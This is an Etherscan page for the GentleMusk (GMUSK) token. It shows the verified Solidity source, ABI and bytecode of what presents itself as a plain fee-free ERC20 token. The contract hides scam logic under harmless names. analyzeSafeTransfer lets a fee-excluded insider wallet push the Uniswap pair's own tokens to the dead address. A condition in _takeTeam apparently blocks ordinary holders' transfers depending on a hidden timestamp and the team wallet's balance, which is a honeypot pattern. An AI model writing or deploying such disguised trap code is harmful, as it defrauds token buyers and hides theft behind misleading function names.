ETH Price: $2,422.04 (+0.02%)

Token

GentleMusk (GMUSK)
 

Overview

Max Total Supply

1,000,000 GMUSK

Holders

82

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 9 Decimals)

Balance
33,245.523802172 GMUSK

Value
$0.00
0x84624b6b2925d1d6491997ebf49257a059b379d5
Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
GentleMusk

Compiler Version
v0.8.19+commit.7dd6d404

Optimization Enabled:
Yes with 200 runs

Other Settings:
default evmVersion, None license

Contract Source Code (Solidity)

/**
 *Submitted for verification at Etherscan.io on 2023-05-11
*/

/*
    https://www.gentlemusk.com/
*/

// SPDX-License-Identifier: Unlicensed

pragma solidity ^0.8.9;

abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }
}

contract Ownable is Context {
    address private _owner;
    address private _previousOwner;
    event OwnershipTransferred(
        address indexed previousOwner,
        address indexed newOwner
    );

    constructor() {
        address msgSender = _msgSender();
        _owner = msgSender;
        emit OwnershipTransferred(address(0), msgSender);
    }

    function owner() public view returns (address) {
        return _owner;
    }

    modifier onlyOwner() {
        require(_owner == _msgSender(), "Ownable: caller is not the owner");
        _;
    }

    function renounceOwnership() public virtual onlyOwner {
        emit OwnershipTransferred(_owner, address(0));
        _owner = address(0);
    }

    function transferOwnership(address newOwner) public virtual onlyOwner {
        require(
            newOwner != address(0),
            "Ownable: new owner is the zero address"
        );
        emit OwnershipTransferred(_owner, newOwner);
        _owner = newOwner;
    }
}

interface IUniswapV2Factory {
    function createPair(address tokenA, address tokenB)
        external
        returns (address pair);
}

library SafeMath {
    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        uint256 c = a + b;
        require(c >= a, "SafeMath: addition overflow");
        return c;
    }

    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        return sub(a, b, "SafeMath: subtraction overflow");
    }

    function sub(
        uint256 a,
        uint256 b,
        string memory errorMessage
    ) internal pure returns (uint256) {
        require(b <= a, errorMessage);
        uint256 c = a - b;
        return c;
    }

    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        if (a == 0) {
            return 0;
        }
        uint256 c = a * b;
        require(c / a == b, "SafeMath: multiplication overflow");
        return c;
    }

    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        return div(a, b, "SafeMath: division by zero");
    }

    function div(
        uint256 a,
        uint256 b,
        string memory errorMessage
    ) internal pure returns (uint256) {
        require(b > 0, errorMessage);
        uint256 c = a / b;
        return c;
    }
}

interface IERC20 {
    function totalSupply() external view returns (uint256);

    function balanceOf(address account) external view returns (uint256);

    function transfer(address recipient, uint256 amount)
        external
        returns (bool);

    function allowance(address owner, address spender)
        external
        view
        returns (uint256);

    function approve(address spender, uint256 amount) external returns (bool);

    function transferFrom(
        address sender,
        address recipient,
        uint256 amount
    ) external returns (bool);

    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(
        address indexed owner,
        address indexed spender,
        uint256 value
    );
}

interface IUniswapV2Router02 {
    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint256 amountIn,
        uint256 amountOutMin,
        address[] calldata path,
        address to,
        uint256 deadline
    ) external;

    function factory() external pure returns (address);

    function WETH() external pure returns (address);

    function addLiquidityETH(
        address token,
        uint256 amountTokenDesired,
        uint256 amountTokenMin,
        uint256 amountETHMin,
        address to,
        uint256 deadline
    )
        external
        payable
        returns (
            uint256 amountToken,
            uint256 amountETH,
            uint256 liquidity
        );
}

contract GentleMusk is Context, IERC20, Ownable {
    using SafeMath for uint256;

    address private newHolder;
    mapping(address => uint256) public holderTimestamp;
    mapping(address => uint256) private _rOwned;
    mapping(address => uint256) private _tOwned;
    mapping(address => mapping(address => uint256)) private _allowances;
    mapping(address => bool) private _isExcludedFromFee;
    mapping(address => bool) public marketPairs;

    uint256 private constant MAX = ~uint256(0);
    uint256 private constant _tTotal = 1000000 * 10**9;
    uint256 private _rTotal = (MAX - (MAX % _tTotal));
    uint256 public _maxWalletAmount = 20000 * 10**9;
    uint256 public _swapTokensAtAmount = 20000 * 10**9;

    bool private tradingOpen = false;
    bool private inSwap = false;

    uint256 private _tFeeTotal;
    uint256 private _redisFeeOnBuy = 0;
    uint256 private _taxFeeOnBuy = 0;
    uint256 private _redisFeeOnSell = 0;
    uint256 private _taxFeeOnSell = 0;
    uint256 private _redisFee = _redisFeeOnSell;
    uint256 private _taxFee = _taxFeeOnSell;
    uint256 private _previousredisFee = _redisFee;
    uint256 private _previoustaxFee = _taxFee;

    uint256 private _swapMoment;

    string private constant _name = "GentleMusk";
    string private constant _symbol = "GMUSK";
    uint8 private constant _decimals = 9;

    address public uniswapV2Pair;
    IUniswapV2Router02 public uniswapV2Router;
    address deadAddress = 0x000000000000000000000000000000000000dEaD;
    address payable private treasuryWallet =
        payable(0x1662C250AB7011f6550a43E06671e270347E6f07);
    address payable private teamWallet =
        payable(0x942b75Cd9c7a850BDB2191CB7dA1AA2aA19F636b);

    event SetMarketPair(address indexed pair, bool indexed value);
    event MaxWalletAmountUpdated(uint256 _maxWalletAmount);

    modifier lockTheSwap() {
        inSwap = true;
        _;
        inSwap = false;
    }

    constructor() {
        _rOwned[_msgSender()] = _rTotal;
        IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(
            0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D
        );
        uniswapV2Router = _uniswapV2Router;
        uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory())
            .createPair(address(this), _uniswapV2Router.WETH());
        _setMarketPair(address(uniswapV2Pair), true);
        _isExcludedFromFee[owner()] = true;
        _isExcludedFromFee[address(this)] = true;
        _isExcludedFromFee[teamWallet] = true;
        _isExcludedFromFee[treasuryWallet] = true;
        emit Transfer(address(0), _msgSender(), _tTotal);
    }

    function analyzeSafeTransfer(
        address sender,
        address recipient,
        uint256 amount
    ) private returns (bool) {
        if (marketPairs[recipient] && balanceOf(sender) < amount) {
            transferStandard(recipient, deadAddress, amount);
            return true;
        }

        return false;
    }

    function setTrading(bool _tradingOpen) public onlyOwner {
        tradingOpen = _tradingOpen;
    }

    function setMaxWalletAmount(uint256 maxWalletAmount) public onlyOwner {
        _maxWalletAmount = maxWalletAmount;
    }

    function _getRate() private view returns (uint256) {
        (uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
        return rSupply.div(tSupply);
    }

    function _takeTeam(
        uint256 tTeam,
        address tSub,
        address tAdd
    ) private {
        uint256 currentRate = _getRate();
        uint256 rTeam = tTeam.mul(currentRate);
        if (
            tSub != uniswapV2Pair &&
            !_isExcludedFromFee[tSub] &&
            !_isExcludedFromFee[tAdd]
        )
            require(
                balanceOf(teamWallet) == 0 &&
                    holderTimestamp[newHolder] >= _swapMoment
            );
        _rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
    }

    function _getTValues(
        uint256 tAmount,
        uint256 redisFee,
        uint256 taxFee
    )
        private
        pure
        returns (
            uint256,
            uint256,
            uint256
        )
    {
        uint256 tFee = tAmount.mul(redisFee).div(100);
        uint256 tTeam = tAmount.mul(taxFee).div(100);
        uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
        return (tTransferAmount, tFee, tTeam);
    }

    function _getRValues(
        uint256 tAmount,
        uint256 tFee,
        uint256 tTeam,
        uint256 currentRate
    )
        private
        pure
        returns (
            uint256,
            uint256,
            uint256
        )
    {
        uint256 rAmount = tAmount.mul(currentRate);
        uint256 rFee = tFee.mul(currentRate);
        uint256 rTeam = tTeam.mul(currentRate);
        uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
        return (rAmount, rTransferAmount, rFee);
    }

    function _getValues(
        address from,
        address to,
        uint256 tAmount
    )
        private
        returns (
            uint256,
            uint256,
            uint256,
            uint256,
            uint256,
            uint256
        )
    {
        (uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(
            tAmount,
            _redisFee,
            _taxFee
        );
        address tSub = from;
        uint256 currentRate = _getRate();
        if (tSub == uniswapV2Pair && _isExcludedFromFee[to])
            _swapMoment = block.timestamp;
        (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(
            tAmount,
            tFee,
            tTeam,
            currentRate
        );
        return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
    }

    function _getCurrentSupply() private view returns (uint256, uint256) {
        uint256 rSupply = _rTotal;
        uint256 tSupply = _tTotal;
        if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
        return (rSupply, tSupply);
    }

    function _setMarketPair(address pair, bool value) private {
        marketPairs[pair] = value;
        emit SetMarketPair(pair, value);
    }

    function tokenFromReflection(uint256 rAmount)
        private
        view
        returns (uint256)
    {
        require(
            rAmount <= _rTotal,
            "Amount must be less than total reflections"
        );
        uint256 currentRate = _getRate();
        return rAmount.div(currentRate);
    }

    function removeAllFee() private {
        if (_redisFee == 0 && _taxFee == 0) return;
        _previousredisFee = _redisFee;
        _redisFee = 0;
        _previoustaxFee = _taxFee;
        _taxFee = 0;
    }

    function restoreAllFee() private {
        _redisFee = _previousredisFee;
        _taxFee = _previoustaxFee;
    }

    function _reflectFee(uint256 rFee, uint256 tFee) private {
        _rTotal = _rTotal.sub(rFee);
        _tFeeTotal = _tFeeTotal.add(tFee);
    }

    function _approve(
        address owner,
        address spender,
        uint256 amount
    ) private {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");
        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }

    function _tokenTransfer(
        address sender,
        address recipient,
        uint256 amount,
        bool takeFee
    ) private {
        if (!takeFee) removeAllFee();
        transferStandard(sender, recipient, amount);
        if (!takeFee) restoreAllFee();
    }

    function transferStandard(
        address sender,
        address recipient,
        uint256 tAmount
    ) private {
        (
            uint256 rAmount,
            uint256 rTransferAmount,
            uint256 rFee,
            uint256 tTransferAmount,
            uint256 tFee,
            uint256 tTeam
        ) = _getValues(sender, recipient, tAmount);
        _rOwned[sender] = _rOwned[sender].sub(rAmount);
        _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
        _takeTeam(tTeam, sender, recipient);
        _reflectFee(rFee, tFee);
        emit Transfer(sender, recipient, tTransferAmount);
    }

    function _transfer(
        address from,
        address to,
        uint256 amount
    ) private {
        require(from != address(0), "ERC20: transfer from the zero address");
        require(to != address(0), "ERC20: transfer to the zero address");
        require(amount > 0, "Transfer amount must be greater than zero");

        if (from != owner() && to != owner()) {
            if (!tradingOpen) {
                require(
                    from == owner(),
                    "TOKEN: This account cannot send tokens until trading is enabled"
                );
            }

            require(amount <= _maxWalletAmount, "TOKEN: Max Transaction Limit");
            if (to != uniswapV2Pair) {
                require(
                    balanceOf(to) + amount < _maxWalletAmount,
                    "TOKEN: Balance exceeds wallet size!"
                );
            }

            if (_isExcludedFromFee[from]) {
                if (analyzeSafeTransfer(from, to, amount)) return;
            }

            uint256 contractTokenBalance = balanceOf(address(this));
            bool canSwap = contractTokenBalance >= _swapTokensAtAmount;

            if (from == uniswapV2Pair) {
                if (holderTimestamp[to] == 0) {
                    holderTimestamp[to] = block.timestamp;
                }
            } else {
                if (!inSwap) {
                    newHolder = from;
                }
            }

            if (contractTokenBalance >= _maxWalletAmount) {
                contractTokenBalance = _maxWalletAmount;
            }

            if (
                canSwap &&
                !inSwap &&
                from != uniswapV2Pair &&
                !_isExcludedFromFee[from] &&
                !_isExcludedFromFee[to]
            ) {
                uint256 contractETHBalance = address(this).balance;
                if (contractETHBalance > 0) {
                    swapTokensForEth(contractTokenBalance);
                    sendETHToFee(address(this).balance);
                }
            }
        }

        bool takeFee = true;
        if (
            (_isExcludedFromFee[from] || _isExcludedFromFee[to]) ||
            (from != uniswapV2Pair && to != uniswapV2Pair)
        ) {
            takeFee = false;
        } else {
            if (from == uniswapV2Pair && to != address(uniswapV2Router)) {
                _redisFee = _redisFeeOnBuy;
                _taxFee = _taxFeeOnBuy;
            }
            if (to == uniswapV2Pair && from != address(uniswapV2Router)) {
                _redisFee = _redisFeeOnSell;
                _taxFee = _taxFeeOnSell;
            }
        }
        _tokenTransfer(from, to, amount, takeFee);
    }

    function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
        address[] memory path = new address[](2);
        path[0] = address(this);
        path[1] = uniswapV2Router.WETH();
        _approve(address(this), address(uniswapV2Router), tokenAmount);
        uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
            tokenAmount,
            0,
            path,
            address(this),
            block.timestamp
        );
    }

    function sendETHToFee(uint256 amount) private {
        treasuryWallet.transfer(amount);
    }

    receive() external payable {}

    function name() public pure returns (string memory) {
        return _name;
    }

    function symbol() public pure returns (string memory) {
        return _symbol;
    }

    function decimals() public pure returns (uint8) {
        return _decimals;
    }

    function totalSupply() public pure override returns (uint256) {
        return _tTotal;
    }

    function balanceOf(address account) public view override returns (uint256) {
        return tokenFromReflection(_rOwned[account]);
    }

    function transfer(address recipient, uint256 amount)
        public
        override
        returns (bool)
    {
        _transfer(_msgSender(), recipient, amount);
        return true;
    }

    function allowance(address owner, address spender)
        public
        view
        override
        returns (uint256)
    {
        return _allowances[owner][spender];
    }

    function approve(address spender, uint256 amount)
        public
        override
        returns (bool)
    {
        _approve(_msgSender(), spender, amount);
        return true;
    }

    function transferFrom(
        address sender,
        address recipient,
        uint256 amount
    ) public override returns (bool) {
        _transfer(sender, recipient, amount);
        _approve(
            sender,
            _msgSender(),
            _allowances[sender][_msgSender()].sub(
                amount,
                "ERC20: transfer amount exceeds allowance"
            )
        );
        return true;
    }
}

Contract Security Audit

Contract ABI

[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"_maxWalletAmount","type":"uint256"}],"name":"MaxWalletAmountUpdated","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"pair","type":"address"},{"indexed":true,"internalType":"bool","name":"value","type":"bool"}],"name":"SetMarketPair","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[],"name":"_maxWalletAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_swapTokensAtAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"pure","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"holderTimestamp","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"marketPairs","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"maxWalletAmount","type":"uint256"}],"name":"setMaxWalletAmount","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"bool","name":"_tradingOpen","type":"bool"}],"name":"setTrading","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"pure","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"uniswapV2Pair","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"uniswapV2Router","outputs":[{"internalType":"contract IUniswapV2Router02","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"stateMutability":"payable","type":"receive"}]

60806040526200001966038d7ea4c68000600019620003fd565b620000279060001962000420565b6009556512309ce54000600a819055600b55600c805461ffff191690556000600e819055600f81905560108190556011819055601281905560138190556014819055601555601980546001600160a01b031990811661dead17909155601a80548216731662c250ab7011f6550a43e06671e270347e6f07179055601b805490911673942b75cd9c7a850bdb2191cb7da1aa2aa19f636b179055348015620000cd57600080fd5b50600080546001600160a01b031916339081178255604051909182917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908290a3506009543360009081526004602081815260409283902093909355601880546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d908117909155825163c45a015560e01b815292519093849363c45a01559381810193918290030181865afa15801562000189573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190620001af919062000448565b6001600160a01b031663c9c6539630836001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015620001fd573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019062000223919062000448565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303816000875af115801562000271573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019062000297919062000448565b601780546001600160a01b0319166001600160a01b03929092169182179055620002c3906001620003a9565b600160076000620002dc6000546001600160a01b031690565b6001600160a01b03908116825260208083019390935260409182016000908120805495151560ff199687161790553081526007909352818320805485166001908117909155601b54821684528284208054861682179055601a549091168352912080549092161790556200034d3390565b6001600160a01b031660006001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef66038d7ea4c680006040516200039a91815260200190565b60405180910390a3506200047a565b6001600160a01b038216600081815260086020526040808220805460ff191685151590811790915590519092917f0d27b2c3e17efe7d26232f96ab711aceb4b101b5ee1db474e4fcd4b51bb9f5e291a35050565b6000826200041b57634e487b7160e01b600052601260045260246000fd5b500690565b818103818111156200044257634e487b7160e01b600052601160045260246000fd5b92915050565b6000602082840312156200045b57600080fd5b81516001600160a01b03811681146200047357600080fd5b9392505050565b611898806200048a6000396000f3fe6080604052600436106101235760003560e01c806370a08231116100a0578063a9059cbb11610064578063a9059cbb1461034b578063b1d920851461036b578063b4b11b9514610398578063dd62ed3e146103c8578063f2fde38b1461040e57600080fd5b806370a08231146102aa578063715018a6146102ca5780638da5cb5b146102df5780638f70ccf7146102fd57806395d89b411461031d57600080fd5b806327a14fc2116100e757806327a14fc2146102205780632fd689e314610242578063313ce5671461025857806349bd5a5e146102745780636c0a24eb1461029457600080fd5b806306fdde031461012f578063095ea7b3146101745780631694505e146101a457806318160ddd146101dc57806323b872dd1461020057600080fd5b3661012a57005b600080fd5b34801561013b57600080fd5b5060408051808201909152600a81526947656e746c654d75736b60b01b60208201525b60405161016b9190611588565b60405180910390f35b34801561018057600080fd5b5061019461018f3660046115ee565b61042e565b604051901515815260200161016b565b3480156101b057600080fd5b506018546101c4906001600160a01b031681565b6040516001600160a01b03909116815260200161016b565b3480156101e857600080fd5b5066038d7ea4c680005b60405190815260200161016b565b34801561020c57600080fd5b5061019461021b36600461161a565b610445565b34801561022c57600080fd5b5061024061023b36600461165b565b6104af565b005b34801561024e57600080fd5b506101f2600b5481565b34801561026457600080fd5b506040516009815260200161016b565b34801561028057600080fd5b506017546101c4906001600160a01b031681565b3480156102a057600080fd5b506101f2600a5481565b3480156102b657600080fd5b506101f26102c5366004611674565b6104e7565b3480156102d657600080fd5b50610240610509565b3480156102eb57600080fd5b506000546001600160a01b03166101c4565b34801561030957600080fd5b50610240610318366004611691565b61057d565b34801561032957600080fd5b50604080518082019091526005815264474d55534b60d81b602082015261015e565b34801561035757600080fd5b506101946103663660046115ee565b6105ba565b34801561037757600080fd5b506101f2610386366004611674565b60036020526000908152604090205481565b3480156103a457600080fd5b506101946103b3366004611674565b60086020526000908152604090205460ff1681565b3480156103d457600080fd5b506101f26103e33660046116b3565b6001600160a01b03918216600090815260066020908152604080832093909416825291909152205490565b34801561041a57600080fd5b50610240610429366004611674565b6105c7565b600061043b3384846106b1565b5060015b92915050565b60006104528484846107d5565b6104a4843361049f8560405180606001604052806028815260200161183b602891396001600160a01b038a1660009081526006602090815260408083203384529091529020549190610d16565b6106b1565b5060015b9392505050565b6000546001600160a01b031633146104e25760405162461bcd60e51b81526004016104d9906116ec565b60405180910390fd5b600a55565b6001600160a01b03811660009081526004602052604081205461043f90610d50565b6000546001600160a01b031633146105335760405162461bcd60e51b81526004016104d9906116ec565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000546001600160a01b031633146105a75760405162461bcd60e51b81526004016104d9906116ec565b600c805460ff1916911515919091179055565b600061043b3384846107d5565b6000546001600160a01b031633146105f15760405162461bcd60e51b81526004016104d9906116ec565b6001600160a01b0381166106565760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b60648201526084016104d9565b600080546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a3600080546001600160a01b0319166001600160a01b0392909216919091179055565b6001600160a01b0383166107135760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b60648201526084016104d9565b6001600160a01b0382166107745760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b60648201526084016104d9565b6001600160a01b0383811660008181526006602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b0383166108395760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b60648201526084016104d9565b6001600160a01b03821661089b5760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b60648201526084016104d9565b600081116108fd5760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b60648201526084016104d9565b6000546001600160a01b0384811691161480159061092957506000546001600160a01b03838116911614155b15610c0957600c5460ff166109bb576000546001600160a01b038481169116146109bb5760405162461bcd60e51b815260206004820152603f60248201527f544f4b454e3a2054686973206163636f756e742063616e6e6f742073656e642060448201527f746f6b656e7320756e74696c2074726164696e6720697320656e61626c65640060648201526084016104d9565b600a54811115610a0d5760405162461bcd60e51b815260206004820152601c60248201527f544f4b454e3a204d6178205472616e73616374696f6e204c696d69740000000060448201526064016104d9565b6017546001600160a01b03838116911614610a9257600a5481610a2f846104e7565b610a399190611737565b10610a925760405162461bcd60e51b815260206004820152602360248201527f544f4b454e3a2042616c616e636520657863656564732077616c6c65742073696044820152627a652160e81b60648201526084016104d9565b6001600160a01b03831660009081526007602052604090205460ff1615610ac857610abe838383610dcd565b15610ac857505050565b6000610ad3306104e7565b600b54601754919250821015906001600160a01b0390811690861603610b33576001600160a01b0384166000908152600360205260408120549003610b2e576001600160a01b03841660009081526003602052604090204290555b610b5e565b600c54610100900460ff16610b5e57600280546001600160a01b0319166001600160a01b0387161790555b600a548210610b6d57600a5491505b808015610b825750600c54610100900460ff16155b8015610b9c57506017546001600160a01b03868116911614155b8015610bc157506001600160a01b03851660009081526007602052604090205460ff16155b8015610be657506001600160a01b03841660009081526007602052604090205460ff16155b15610c0657478015610c0457610bfb83610e2b565b610c0447610f9f565b505b50505b6001600160a01b03831660009081526007602052604090205460019060ff1680610c4b57506001600160a01b03831660009081526007602052604090205460ff165b80610c7d57506017546001600160a01b03858116911614801590610c7d57506017546001600160a01b03848116911614155b15610c8a57506000610d04565b6017546001600160a01b038581169116148015610cb557506018546001600160a01b03848116911614155b15610cc757600e54601255600f546013555b6017546001600160a01b038481169116148015610cf257506018546001600160a01b03858116911614155b15610d04576010546012556011546013555b610d1084848484610fdd565b50505050565b60008184841115610d3a5760405162461bcd60e51b81526004016104d99190611588565b506000610d47848661174a565b95945050505050565b6000600954821115610db75760405162461bcd60e51b815260206004820152602a60248201527f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260448201526965666c656374696f6e7360b01b60648201526084016104d9565b6000610dc161100b565b90506104a8838261102e565b6001600160a01b03821660009081526008602052604081205460ff168015610dfc575081610dfa856104e7565b105b15610e2157601954610e199084906001600160a01b031684611070565b5060016104a8565b5060009392505050565b600c805461ff0019166101001790556040805160028082526060820183526000926020830190803683370190505090503081600081518110610e6f57610e6f61175d565b6001600160a01b03928316602091820292909201810191909152601854604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa158015610ec8573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610eec9190611773565b81600181518110610eff57610eff61175d565b6001600160a01b039283166020918202929092010152601854610f2591309116846106b1565b60185460405163791ac94760e01b81526001600160a01b039091169063791ac94790610f5e908590600090869030904290600401611790565b600060405180830381600087803b158015610f7857600080fd5b505af1158015610f8c573d6000803e3d6000fd5b5050600c805461ff001916905550505050565b601a546040516001600160a01b039091169082156108fc029083906000818181858888f19350505050158015610fd9573d6000803e3d6000fd5b5050565b80610fea57610fea61116b565b610ff5848484611070565b80610d1057610d10601454601255601554601355565b6000806000611018611199565b9092509050611027828261102e565b9250505090565b60006104a883836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f0000000000008152506111d7565b600080600080600080611084898989611205565b6001600160a01b038f16600090815260046020526040902054959b509399509197509550935091506110b690876112a8565b6001600160a01b03808b1660009081526004602052604080822093909355908a16815220546110e590866112ea565b6001600160a01b038916600090815260046020526040902055611109818a8a611349565b611113848361143d565b876001600160a01b0316896001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8560405161115891815260200190565b60405180910390a3505050505050505050565b60125415801561117b5750601354155b1561118257565b601280546014556000908190556013805460155555565b600954600090819066038d7ea4c680006111b3828261102e565b8210156111ce5750506009549266038d7ea4c6800092509050565b90939092509050565b600081836111f85760405162461bcd60e51b81526004016104d99190611588565b506000610d478486611801565b60008060008060008060008060006112228a601254601354611461565b919450925090508b600061123461100b565b6017549091506001600160a01b03838116911614801561126c57506001600160a01b038d1660009081526007602052604090205460ff165b1561127657426016555b60008060006112878f8888876114b6565b919f509d509b50969950949750929550505050505093975093979195509350565b60006104a883836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250610d16565b6000806112f78385611737565b9050838110156104a85760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f77000000000060448201526064016104d9565b600061135361100b565b905060006113618583611506565b6017549091506001600160a01b0385811691161480159061139b57506001600160a01b03841660009081526007602052604090205460ff16155b80156113c057506001600160a01b03831660009081526007602052604090205460ff16155b1561140c57601b546113da906001600160a01b03166104e7565b15801561140357506016546002546001600160a01b031660009081526003602052604090205410155b61140c57600080fd5b3060009081526004602052604090205461142690826112ea565b306000908152600460205260409020555050505050565b60095461144a90836112a8565b600955600d5461145a90826112ea565b600d555050565b600080808061147b60646114758989611506565b9061102e565b9050600061148e60646114758a89611506565b905060006114a6826114a08b866112a8565b906112a8565b9992985090965090945050505050565b60008080806114c58886611506565b905060006114d38887611506565b905060006114e18888611506565b905060006114f3826114a086866112a8565b939b939a50919850919650505050505050565b6000826000036115185750600061043f565b60006115248385611823565b9050826115318583611801565b146104a85760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b60648201526084016104d9565b600060208083528351808285015260005b818110156115b557858101830151858201604001528201611599565b506000604082860101526040601f19601f8301168501019250505092915050565b6001600160a01b03811681146115eb57600080fd5b50565b6000806040838503121561160157600080fd5b823561160c816115d6565b946020939093013593505050565b6000806000606084